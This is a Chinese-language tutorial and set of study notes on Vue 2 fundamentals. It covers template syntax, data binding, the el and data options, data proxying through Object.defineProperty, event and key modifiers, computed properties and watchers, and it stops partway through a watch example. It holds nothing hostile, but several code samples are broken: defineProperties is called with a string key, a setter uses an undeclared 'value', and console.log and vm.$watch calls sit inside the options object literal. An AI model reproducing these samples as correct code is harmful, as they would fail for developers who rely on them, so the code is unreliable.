目录
3. VM:视图模型(ViewModel) : Vue 实例对象
7.2 defineProperty的高级属性(getter/setter)
(5) self:只有event.target是当前操作的元素时才触发事件(一定程度上阻止冒泡)
(6)passive:事件的默认行为立即执行,无需等待事件回调执行完毕
(1)监视多级结构中某一个属性的变化:'numbers.a'
(1) 当我们写上key的时候,是不可以使用的key这个属性的
3.Vue.set(要添加到的地方,要添加的属性名,添加的属性值)方法【vm._data.student===vm.stduent】
(1) 修改数组中的数据方法一:使用Vue提供的方法进行操作
(2)在dta中将用户输入的信息封装成一个对象,然后直接输出对象即可
3.用户输入类型的控制(v-model.number="game")
4.延迟收集(v-model.lazy="userInfo.other")
5.去除前后的空格(v-model.trim="userInfo.account")
filter只能在插值语法和v-bind中使用,不能再v-model中使用
3.v-cloak :当网络较慢的时候,不让未解析的再页面上显示
1.函数式:函数名字(获取要进行操作的DOM元素,binding)
1.当指令名字出现“-”的时候:在directives中要加单引号
3.全局指令:Vue.directive(‘函数名',{})
1. Vue核心
1.1 介绍与描述
动态构建用户界面的渐进式JavaScript框架
作者:尤雨溪
1.2 Vue的特点
1.采用组件化模式,提高代码复用率,且让代码更好维护
2.声明式编码,让编码人员无需直接操作DOM,提高开发效率
3.使用虚拟DOM+Diff算法,尽量复用DOM节点
1.3 与其他JS框架的关联
- 借鉴 Angular 的模板和数据绑定技术
- 借鉴 React 的组件化和虚拟DOM技术
1.4 Vue官网的使用指南
2.搭建Vue开发环境
2.1 直接使用<script>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!-- 引入开发版Vue -->
<script type="texe/javascript" src="./js/vue.js"></script>
</head>
<body>
<script type="text/javascript">
// 阻止vue在启动时生成生产提示
Vue.config.productionTip=false
</script>
</body>
</html>
2.2 Hello小案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!-- 引入开发版Vue -->
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- 初始vue:
1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对;
2.root容器中的代码依然符合html规范,只不过混入了一些特殊的Vue语法
3.root容器里的代码被称为【Vue模板】 -->
<!-- 准备好一个容器 -->
<div id="root">
<h1>hello,{{ name }}</h1>
</div>
<script type="text/javascript">
// 阻止vue在启动时生成生产提示
Vue.config.productionTip=false
new Vue({
el:'#root', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
data:{ //data用于存储数据,数据共el所指定的容器去使用
name:'小林'
}
})
</script>
</body>
</html>
初始vue:
1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对;
2.root容器中的代码依然符合html规范,只不过混入了一些特殊的Vue语法
3.root容器里的代码被称为【Vue模板】
2.3 Hello案例分析
1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象
2.root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法
3.root容器里的代码被称为Vue模板
4.Vue实例与容器是一一对应的
5.真实开发中只有一个Vue实例,并且会配合着组件一起使用
6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性
7.一旦data中的数据发生变化,那么模板中用到该数据的地方也会自动更新
3.模板语法
3.1 模板理解
html 中包含了一些 JS 语法代码,语法分为两种,分别为:
1. 插值语法(双大括 号表达式)
2. 指令(以 v-开头)
3.2 .插值语法:
功能:用于解析标签体内容
写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有区域
3.3 .指令语法:动态绑定值
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)
举例:<a v-bind:href="xxx">或简写为<a :href="xxx">,xxx同样要写js表达式,且可以直接读取到data中的所有属性
备注:Vue中有很多的指令,且形式都是v-???,此处我们只是拿v-bind举个例子
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!-- 引入开发版Vue -->
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!--
1.插值语法:
功能:用于解析标签体内容
写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有区域
2.指令语法:
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)
举例:<a v-bind:href="xxx">或简写为<a :href="xxx">,xxx同样要写js表达式,且可以直接读取到data中的所有属性
备注:Vue中有很多的指令,且形式都是v-???,此处我们只是拿v-bind举个例子 -->
<!-- 准备好一个容器 -->
<div id="root">
<h1>插值语法</h1>
<h3>您好,{{name}}</h3>
<hr>
<h1>指令语法</h1>
<!-- 属性绑定:把原来的“url”当成js表达式 -->
<!-- v-bind简写为:===: -->
<!-- data中的数据只有name和schoo,要访问school里面的,要上前缀 -->
<a v-bind:href="school.url">点我去访问jack----{{name}}</a>
<hr>
<a :href="url" :x="hello">点我去访问小林----{{school.name}}</a>
</div>
<script type="text/javascript">
// 阻止vue在启动时生成生产提示
Vue.config.productionTip=false
new Vue({
el:'#root',
data() {
return {
name:'jack',
school:{
name:'小林',
url:'http://www.baidu.com',
hello:"您好"
}
}
},
})
</script>
</body>
</html>
4.数据绑定
4.1 单向数据绑定:v-bind
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!-- 引入开发版Vue -->
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
单向数据绑定:<input type="text" v-bind:value="name">
<!-- 简写 -->
单向数据绑定:<input type="text" :value="name">
</div>
<script type="text/javascript">
// 阻止vue在启动时生成生产提示
Vue.config.productionTip=false
new Vue({
el:'#root',
data() {
return {
name:'小林'
}
},
})
</script>
</body>
</html>
4.2 双向数据绑定:v-model
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!-- 引入开发版Vue -->
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
双向数据绑定:<input type="text" v-model:value="name">
<!-- v-model:value可以简写为v-model,因为v-model默认收集的就是value值 -->
双向数据绑定:<input type="text" v-model="name">
</div>
<script type="text/javascript">
// 阻止vue在启动时生成生产提示
Vue.config.productionTip=false
new Vue({
el:'#root',
data() {
return {
name:'小林'
}
},
})
</script>
</body>
</html>
4.3 注意点:v-model只能绑定在表单元素上
4.4 总结
Vue中有2种数据绑定的方式:
单向绑定(v-bind):数据只能从data流向页面
双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data
备注:
双向绑定一般都应用在表单类元素上(如:<input>、<select>、<textarea>等)
v-model:value可以简写为v-model,因为v-model默认收集的就是value值
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!-- 引入开发版Vue -->
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- Vue中有2种数据绑定的方式:
单向绑定(v-bind):数据只能从data流向页面
双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data
备注:
双向绑定一般都应用在表单类元素上(如:<input>、<select>、<textarea>等)
v-model:value可以简写为v-model,因为v-model默认收集的就是value值 -->
<!-- 准备好一个容器 -->
<div id="root">
<!-- 普通写法 -->
<!-- 单向数据绑定:<input type="text" v-bind:value="name">
双向数据绑定:<input type="text" v-model:value="name"> -->
<!-- 简写 -->
单向数据绑定:<input type="text" :value="name">
<!-- v-model:value可以简写为v-model,因为v-model默认收集的就是value值 -->
双向数据绑定:<input type="text" v-model="name">
<br>
<!-- 如下代码报错,因为v-model只能应用在表单类元素(输入类元素)上【就是要有value值上】 -->
<h2 v-model:x=""name>您好</h2>
</div>
<script type="text/javascript">
// 阻止vue在启动时生成生产提示
Vue.config.productionTip=false
new Vue({
el:'#root',
data() {
return {
name:'小林'
}
},
})
</script>
</body>
</html>
5.el与data的两种写法
5.1 el的写法
方式一:el:'#root'
const vm = new Vue({
// el:'#root', //第一种写法
data:{
name:'JOJO'
}
})
方式二:vm.$mount('#root')【挂载】
const vm = new Vue({
data:{
name:'JOJO'
}
})
vm.$mount('#root')//第二种写法
5.2 data的写法
方式一:对象式
new Vue({
el: '#root',
//data的第一种写法:对象式
data: {
name: 'JOJO'
}
})
方式二::函数式【必须有return】
new Vue({
el: '#root',
//data的第二种写法:函数式
data() {//data:function(){
return {
name: 'JOJO'
}
}
})
注意点
data:function(){
console.log(this);//此处的this是指vue实例对象
}
data:()=>{//箭头函数没有this实例对象
console.log(this);//此处的this指的是window
}
5.3 总结
el有2种写法:
创建Vue实例对象的时候配置el属性
先创建Vue实例,随后再通过vm.$mount('#root')指定el的值
data有2种写法:
对象式
函数式
- 如何选择:目前哪种写法都可以,以后学到组件时,data必须使用函数,否则会报错
由Vue管理的函数,一定不要写箭头函数,否则this就不再是Vue实例了(而是window)
6.MVVM模型
1. M:模型(Model) :对应 data 中的数据
2. V:视图(View) :模板(view),页面(DOM)
3. VM:视图模型(ViewModel) : Vue 实例对象
虽然没有完全遵循 MVVM 模型,但是 Vue 的设计也受到了它的启发。因此在文档中经常会使用 vm
(ViewModel 的缩写) 这个变量名表示 Vue 实例。
6.1 总结
- data中所有的属性,最后都出现在了vm身上
- vm身上所有的属性 及 Vue原型身上所有的属性,在Vue模板中都可以直接使用
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>mvvm</title>
<script src="./js/vue.js"></script>
</head>
<body>
<!-- 1. M:模型(Model) :对应 data 中的数据
2. V:视图(View) :模板(view)
3. VM:视图模型(ViewModel) : Vue 实例对象
data中所有的属性,最后都出现在了vm身上
vm身上所有的属性 及 Vue原型身上所有的属性,在Vue模板中都可以直接使用 -->
<div id="root">
<h2>学校:{{name}}</h2>
<h2>地址:{{address}}</h2>
<!-- vm身上的可以直接使用(或者Vue身上的) -->
<h2>vm身上的:{{$options}}</h2>
<!-- 原型身上的也可以 -->
<h1>原型身上的:{{$emit}}</h1>
</div>
<script>
Vue.config.productionTip = false
const vm=new Vue({
el:'#root',
data:{
name:'gz',
address:'广东省'
}
console.log(vm)//会出现data中的属性
})
</script>
</body>
</html>
7.数据代理
7.1 defineProperty的基本属性
Object.defineProperty(person,'age',{
value:18,
// 控制属性是否可以枚举,默认值为false
enumerable:true,
// 控制属性是否可以被修改,默认值为false
writable:true,
// 控制属性是否可以被删除,默认值为false
configurable:true
})
7.2 defineProperty的高级属性(getter/setter)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>回顾Object.defineProperty方法</title>
<!-- let obj = {}
//与我们使用 obj.name = 'zhangsna' 效果一样 但是用defineProperty定义的属性无法改变 或者删除
Object.defineProperty(obj,'name',{
value:'zhangsan'
})
console.log(obj); -->
</head>
<body>
<script type="text/javascript">
// 业务:当number改变的时候,person中的age跟着改变
let number = 19
let person = {
name: '张三',
sex: '男',
}
Object.defineProperties(person, 'age', {
// 当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
get() {
console.log('有人读取age属性');
return number
},
// 当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
set(value) {
console.log('有人修改age属性,且值为',value);
number=value
}
})
console.log(person);
</script>
</body>
</html>
7.3 数据代理的理解
通过一个对象代理对另一个对象中的属性的操作(读/写)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<!-- 数据代理:通过一个对象代理对另一个对象中的属性的操作(读/写) -->
<script type="text/javascript">
// 业务:通过obj2对obj中的x进行修改
let obj={x:100}
let obj2={y:200}
Object.defineProperties(obj2,'x',{
get(){//获取obj中的x
return obj.x
},
set(value){//将修改obj中的x
obj.x=value
}
})
</script>
</body>
</html>
7.4 Vue中的数据代理
总结
Vue中的数据代理通过vm对象来代理data对象中属性的操作(读/写)
Vue中数据代理的好处:更加方便的操作data中的数据
基本原理:
1.通过object.defineProperty()把data对象中所有属性添加到vm上。
2.为每一个添加到vm上的属性,都指定一个getter/setter。
3.在getter/setter内部去操作(读/写)data中对应的属性。
8.事件处理
8.1 事件的基本使用
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>mvvm</title>
<script src="./js/vue.js"></script>
</head>
<body>
<!-- 事件的基本使用:
使用v-on:xxx或@xxx绑定事件,其中xxx是事件名
事件的回调需要配置在methods对象中,最终会在vm上
methods中配置的函数,==不要用箭头函数!==否则this就不是vm了
methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象
@click="demo和@click="demo($event)"效果一致,但后者可以传参 -->
<div id="root">
<h1>欢迎来到{{name}}</h1>
<!-- <button v-on:click="showInfo">点我提示信息</button> -->
<!-- v-on简写形式:@ -->
<button @click="showInfo1">点我提示信息1(不传参)</button>
<!-- 传入参数 直接在函数名后面加上小括号(但是这样会把event搞丢) -->
<!-- <button @click="showInfo2(66)">点我提示信息2</button> -->
<!-- 此处的$event:是要进行占位,防止传参把event搞丢 -->
<button @click="showInfo2(66,$event)">点我提示信息2(传参)</button>
</div>
<script>
Vue.config.productionTip = false
const vm=new Vue({
el:'#root',
data:{
name:'猫咖'
},
methods: {
// showInfo:(event)=>{}
// 如果使用箭头函数,则this指向window
showInfo1(event){
console.log(event);
console.log(event.target);//拿到进行操作的对象
console.log(this);//Vue实例对象--vm
alert('同学1')
},
// 这里的number是传入的参数
// a;:是事件(event)
showInfo2(number,a){
console.log(number);
console.log(a);
alert('同学2')
}
},
})
</script>
</body>
</html>
事件的基本使用:
使用v-on:xxx或@xxx绑定事件,其中xxx是事件名
事件的回调需要配置在methods对象中,最终会在vm上
methods中配置的函数,==不要用箭头函数!==否则this就不是vm了【变成window】
methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象
@click="demo和@click="demo($event)"效果一致,但后者可以传参
8.2 事件修饰符
(1) prevent:阻止默认事件(常用),比如阻止跳转页面
<!-- 阻止默认事件(常用):@click.prevent:阻止跳转 -->
<a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
Vue.config.productionTip = false
const vm=new Vue({
el:'#root',
data:{
name:'猫咖'
},
methods: {
showInfo(){
// 阻止默认事件
// e.preventDefault();
alert('nh')
}
},
})
(2) stop:阻止事件冒泡(常用)
<!-- 阻止事件冒泡 -->
<div class="demo1" @click="showInfo">
<button @click.stop="showInfo">点我提示信息</button>
</div>
const vm=new Vue({
el:'#root',
data:{
name:'猫咖'
},
methods: {
showInfo(){
// 阻止事件冒泡
// e.stopPropagation();
alert('nh')
}
},
})
(3) once:事件只触发一次(常用)
<!-- 事件只触发一次 -->
<button @click.once="showInfo">点我提示信息</button>
(4) capture:使用事件的捕获模式【先捕获,在冒泡(处理事件)】
<!-- 使用事件的捕获模式(由外往内) -->
<div class="box1" @click.capture="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">
div2
</div>
</div>
(5) self:只有event.target是当前操作的元素时才触发事件(一定程度上阻止冒泡)
<!-- 只有event.target是当前操作的元素时才触发事件 -->
<div class="demo1" @click.self="showInfo">
<button @click="showInfo">点我提示信息</button>
</div>
(6)passive:事件的默认行为立即执行,无需等待事件回调执行完毕(一般来说是先执行调用函数,等调用函数执行结束,才触发事件)
<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
<ul @wheel.passive="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
const vm = new Vue({
el: '#root',
data: {
name: '猫咖'
},
methods: {
demo(){
for (let i = 0; i < 100000; i++) {
console.log('#')
}
console.log('累坏了')
}
},
})
Vue中的事件修饰符:
prevent:阻止默认事件(常用)
stop:阻止事件冒泡(常用)
once:事件只触发一次(常用)
capture:使用事件的捕获模式
self:只有event.target是当前操作的元素时才触发事件
passive:事件的默认行为立即执行,无需等待事件回调执行完毕
8.3 键盘事件【@keyup/@keydown】
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>mvvm</title>
<script src="./js/vue.js"></script>
</head>
<body>
<!--
1. Vue中常用的按键别名:
回车:enter
删除:delete (捕获“删除”和“退格”键)
退出:esc
空格:space
换行:tab (特殊,必须配合keydown去使用)
上:up
下:down
左:left
右:right
2.Vue未提供别名按键,可以使用按键原始key值去绑定,但是注意要转为(CapsLock转换为caps-lock)kebab-case(短横线命名)
3.系统修饰键(用法特殊):ctrl、alt、shift、meta---配合keydown使用
(1)配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发
(2)配合keydown使用:正常触发事件(Tab)
4. 可以使用keyCode去指定具体的按键,比如:@keydown.13="showInfo",但不推荐这样使用
5.Vue.config.keyCodes.自定义键名 = 键码,可以自定义按键别名
-->
<div id="root">
<h1>欢迎来到{{name}}</h1>
<input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo">
</div>
<script>
Vue.config.productionTip = false
// 定义一个别名按键
Vue.config.keyCodes.huiche=13
const vm=new Vue({
el:'#root',
data:{
name:'猫咖'
},
methods: {
showInfo(evnet){
// console.log(evnet.keyCodes);//输出ASCII编码
// 拿到按键的值
// console.log(e.key);
// 拿到文本框中的值
console.log(evnet.target.value);
}
},
})
</script>
</body>
</html>
1. Vue中常用的按键别名:
回车:enter
删除:delete (捕获“删除”和“退格”键)
退出:esc
空格:space
换行:tab (特殊【因为tab是切换按钮的效果】,必须配合keydown去使用)
上:up
下:down
左:left
右:right
2.Vue未提供别名按键,可以使用按键原始key值去绑定,但是注意要转为(CapsLock转换为caps-lock)kebab-case(短横线命名)
3.系统修饰键(用法特殊):ctrl、alt、shift、meta---配合keydown使用
(1)配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发
(2)配合keydown使用:正常触发事件(Tab)
4. 可以使用keyCode去指定具体的按键,比如:@keydown.13="showInfo",但不推荐这样使用
5.Vue.config.keyCodes.自定义键名 = 键码,可以自定义按键别名
Vue.config.keyCodes.huiche=13;
8.4 扩展
1.链式调用【顺序无关】
<!-- 阻止冒泡并且阻止链接跳转 -->
<button href="http://www.baidu.com" @click.stop.prevent="showInfo">点我提示信息</button>
<!-- ctrl.y:表示同时按下ctrl+y才起效 -->
<input type="text" placeholder="按下回车提示输入" @keyup.ctrl.y="showInfo">
9.计算属性:computed
9.1 姓名案例(插值语法实现)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>姓名案例_插值语法的实现</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- 准备一个容器 -->
<div id="root">
姓:<input type="text" v-model:value="firstName">
<br>
名:<input type="text" v-model:value="lastName">
<br>
姓名:<span>{{firstName+'_'+lastName}}</span>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data: {
firstName:'张',
lastName:'三'
},
})
</script>
</html>
9.2 姓名案例(methods实现)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>姓名案例——methods实现</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- 准备一个容器 -->
<div id="root">
姓:<input type="text" v-model:value="firstName">
<br>
名:<input type="text" v-model:value="lastName">
<br>
姓名
<!-- 使用():表示调用fullName的返回值进行展示 -->
<span>{{fullName()}}</span>
<br><br>
<!-- <span>{{fullName}}</span> -->
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data: {
firstName:'张',
lastName:'三'
},
methods: {
// 当data中的数据发生改变的时候,页面中会重新渲染,所以fullName还调用多次
fullName(){
return this.firstName+'_'+this.lastName
}
},
})
</script>
</html>
9.3 姓名案例(计算属性实现)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>姓名案例——计算属性实现</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- 准备一个容器 -->
<div id="root">
姓:<input type="text" v-model:value="firstName">
<br>
名:<input type="text" v-model:value="lastName">
<br>
<!-- 计算属性有缓存机制:所以此时fullName就调用一次 -->
姓名:<span>{{fullName}}</span>
姓名:<span>{{fullName}}</span>
姓名:<span>{{fullName}}</span>
姓名:<span>{{fullName}}</span>
姓名:<span>{{fullName}}</span>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm=new Vue({
el:'#root',
data: {
// 属性
firstName:'张',
lastName:'三'
},
// vm._data中没有fullName
// 计算属性,对象的形式
// 计算属性直接丢给vm,不给data
computed: {
// 上面使用了5次fullName,此时fullName调用了5次
fullName:{
// get有什么作用?当有人读取fullName的时候,get就会被调用,且返回值就作为fullName的值
// get什么时候被调用?
// 1.初次读取fullName的时候
// 2.所依赖的数据发生变化时
// 虽然上面调用了5次fullName,但是实际上get就调用一次
get(){//读取属性
console.log('get被调用');
// 此时this-->指向vm
return this.firstName+'_'+this.lastName
},
// set不是必须写的
// set什么时候调用?当fullName被修改的时候
set(){//修改属性
console.log('set',value);
const arr=value.split('-')
this.firstName=arr[0]
this.lastName=arr[1]
}
}
},
})
</script>
</html>
9.4 计算属性的简写
当只对属性读取的时候(就是只有get的时候)才可与使用
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>姓名案例——计算属性简写</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- 准备一个容器 -->
<div id="root">
姓:<input type="text" v-model:value="firstName">
<br>
名:<input type="text" v-model:value="lastName">
<br>
姓名:<span>{{fullName}}</span>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
// 属性
firstName: '张',
lastName: '三'
},
computed: {
// 完整写法
// fullName:{
// get(){//读取属性
// console.log('get被调用');
// // 此时this-->指向vm
// return this.firstName+'_'+this.lastName
// },
// set(){//修改属性
// console.log('set',value);
// const arr=value.split('-')
// this.firstName=arr[0]
// this.lastName=arr[1]
// }
// }
// 当只有get,才可以使用简写
// 简写
fullName() {//此时fullName相当于get方法
console.log('get被调用');
// 此时this-->指向vm
return this.firstName+'_'+this.lastName
}
},
})
</script>
</html>
9.5 总结:计算属性仍然是属性
计算属性:
1.定义:要用的属性不存在,需要通过已有属性计算得来。
2.原理:底层借助了Objcet.defineproperty()方法提供的getter和setter。
3.get函数什么时候执行?
初次读取时会执行一次
当依赖的数据发生改变时会被再次调用
4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便
5.备注:
1.计算属性最终会出现在vm上,直接读取使用即可
2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变
3.如果计算属性确定不考虑修改,可以使用计算属性的简写形式
10.监视属性:watch
10.1 天气案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- 准备一个容器 -->
<div id="root">
<!-- <h2>天气预报{{isHot?'炎热':'凉爽'}}</h2> -->
<!-- 使用计算属性 -->
<!-- 注意点:如果页面没有使用Info,则当我们点击按钮,然后改变后,Vue插件上的值并没有改变 -->
<h2>天气预报{{Info}}</h2>
<!-- 使用methods -->
<button @click="changeWeather">切换天气</button>
<!-- 直接在标签中写 -->
<!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 -->
<!-- <button @click="isHot=!isHot">切换天气</button> -->
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
isHot:true
},
computed:{
Info(){
return this.isHot?'炎热':'凉爽'
}
},
methods: {
/* changeWeather(){
// 此时的isHot为反过来的isHot
this.isHot=!this.isHot
}
*/$
},
})
</script>
</html>
10.2 监视属性
(1):handler
// 监视属性
watch:{
isHot:{
// handler什么时候调用?当isHot发生改变的时候
// handler接收两个参数
// 第一个参数:被修改后的数值
// 第二个参数:返回原来的值
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue);
},
}
}
(2)immediate
// 监视属性
watch:{
isHot:{
// immediate默认值为false
// 初始化时候让handler调用一下
immediate:true
}
}
3.方法一:通过watch进行监听
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- 准备一个容器 -->
<div id="root">
<h2>天气预报{{Info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
isHot: true
},
computed: {
Info() {
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
changeWeather() {
// 此时的isHot为反过来的isHot
this.isHot = !this.isHot
}
},
// 监视属性
watch: {
// 可以监听普通属性
isHot: {
// handler什么时候调用?当isHot发生改变的时候
// handler接收两个参数
// 第一个参数:被修改后的数值
// 第二个参数:返回原来的值
handler(newValue, oldValue) {
console.log('isHot被修改了', newValue, oldValue);
},
// immediate默认值为false
// 初始化时候让handler调用一下
immediate: true
},
// 也可以监听计算属性
Info: {
handler(newValue, oldValue) {
console.log('Info被修改了', newValue, oldValue);
},
immediate: true
}
}
})
</script>
</html>
4.方法二:通过$watch进行监听
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- 准备一个容器 -->
<div id="root">
<h2>天气预报{{Info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
isHot: true
},
computed: {
Info() {
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
changeWeather() {
// 此时的isHot为反过来的isHot
this.isHot = !this.isHot
}
},
// 通过$watch进行监听
//vm.$watch('监视对象',{监视触发事件})
vm.$watch('isHot',{
handler(newValue, oldValue) {
console.log('Info被修改了', newValue, oldValue);
},
immediate: true
})
</script>
</html>
监视属性watch:
1.当被监视的属性变化时,回调函数自动【handler】调用,进行相关操作
2.监视的属性必须存在,才能进行监视
3.监视有两种写法:
(1)创建Vue时传入watch配置
(2)通过vm.$watch监视
5.深度监视
(1)监视多级结构中某一个属性的变化:'numbers.a'
new Vue({
el: '#root',
data: {
isHot: true,
numbers:{
a:1,
b:2
}
},
// 深度监听
watch: {
// 监视多级结构中某一个属性的变化
'numbers.a':{
handler(){
console.log('a改变了');
}
}
}
})
(2)监视多级结构中所有属性的变化:deep:true
new Vue({
el: '#root',
data: {
isHot: true,
numbers:{
a:1,
b:2
}
},
// 深度监听
watch: {
// 监视多级结构中所有属性的变化
numbers:{
// deep:默认值为false
deep:true,
handler(){
console.log('numbers改变了');
}
}
}
})
深度监视:
(1)Vue中的watch默认不监测对象内部值的改变(一层)
(2)在watch中配置deep:true可以监测对象内部值的改变(多层)
备注:
(1)Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以
(2)使用watch时根据监视数据的具体结构,决定是否采用深度监视
6.监视的简写
当在watch中只有handler方法的时候才可以使用
6.1 通过watch的方法简写
// 监视属性
watch: {
// 完整写法
/* isHot: {
// 深度监视
deep:true,
handler(newValue, oldValue) {
console.log('isHot被修改了', newValue, oldValue);
},
immediate: true
}
*/
// 监视的简写形式
isHot(newValue, oldValue){
console.log('isHot被修改了', newValue, oldValue);
}
}
6.2 通过$watch的方法
const vm=new Vue({
el: '#root',
data: {
isHot: true,
numbers:{
a:1,
b:2
}
}
// 完整写法【正常写法】
vm.$watch('isHot',{
deep:true,
handler(newValue, oldValue) {
console.log('isHot被修改了', newValue, oldValue);
},
immediate: true
})
// 监听的简写:当只有handler方法的时候才可以
// 注意:不能写成箭头函数
vm.$watch('isHot',function(newValue, oldValue){
console.log('isHot被修改了', newValue, oldValue);
})
7.watch和computed的对比
官网例子:计算属性和侦听器 — Vue.js
7.1 姓名案例——watch实现
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>姓名案例——watch实现</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- 准备一个容器 -->
<div id="root">
